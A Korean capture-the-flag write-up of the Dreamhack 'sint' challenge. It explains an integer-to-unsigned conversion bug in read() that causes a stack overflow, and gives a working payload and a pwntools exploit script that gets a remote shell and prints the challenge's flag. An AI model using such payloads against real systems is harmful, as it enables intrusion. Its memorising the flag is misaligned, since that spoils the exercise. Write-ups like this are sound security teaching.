

Sint 문제 write-up

강승민

```
int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}
```

[그림 1]

[그림 1]와 같이 문제의 코드를 보면 size 변수의 크기를 검증하고 buf 에 데이터를 입력받는 것을 볼 수 있다.

여기서 검증하는 크기는 $0 \leq \text{size} \leq 256$ 이고 buf 에는 size-1 크기의 데이터를 입력받는다.

여기서 생기는 문제가 size변수에 0을 넣게되면 buf 에는 -1 크기의 데이터를 입력받는데 이때 read 함수의 인자는 int fildes, void *buf, size_t nbytes 인데 3번째 인자가 unsigned int 라서 -1이면 변환되어 unsigned int 의 최대 값인 4294967295로 들어가기 때문에 bof가 일어나게된다.

```

0x08048612 initialize
0x08048659 get_shell
0x0804866c main

```

[그림 2]

[그림 2]와 같이 Gdb를 이용하여 shell명령어의 위치를 알아내고 로컬에서 exploit 해보면

```

(ubuntu@ubuntu-virtual-machine)-[~/dreamhack]
$ (python3 -c 'print("\n"+"A"*256+"\x59\x86\x04\x08");cat)|./sint
Size: Data: ls
basic_exploitation_002  exploit.py  sint  test.py

```

[그림 3]

[그림 3]와 같이 shell이 얻어지는 것을 볼 수 있다.

이를 pwntools를 이용해 코드를 짜보면

```

from pwn import *
host = "host2.dreamhack.games"
port = 17414
p = remote(host, port)
shell = 0x08048659
payload = b"\n" + b"A"*256 + p32(shell) + b"\n"
p.send(payload)
p.interactive()

```

[그림 4]

[그림 4]와 같고 실행해보면

```

(ubuntu@LAPTOP-tmdalsBoB)-[/mnt/.../File/dreamhack/pwnable/sint]
$ python3 exploit.py
[+] Opening connection to host2.dreamhack.games on port 17414: Done
[*] Switching to interactive mode
Size: Data: $ ls
flag
sint
$ cat flag
DH{d66e84c453b960cfe37780e8ed9d70ab}[*] Got EOF while reading in interactive

```

[그림 5]

[그림 5]와 같이 문제를 풀고 flag를 얻을 수 있다.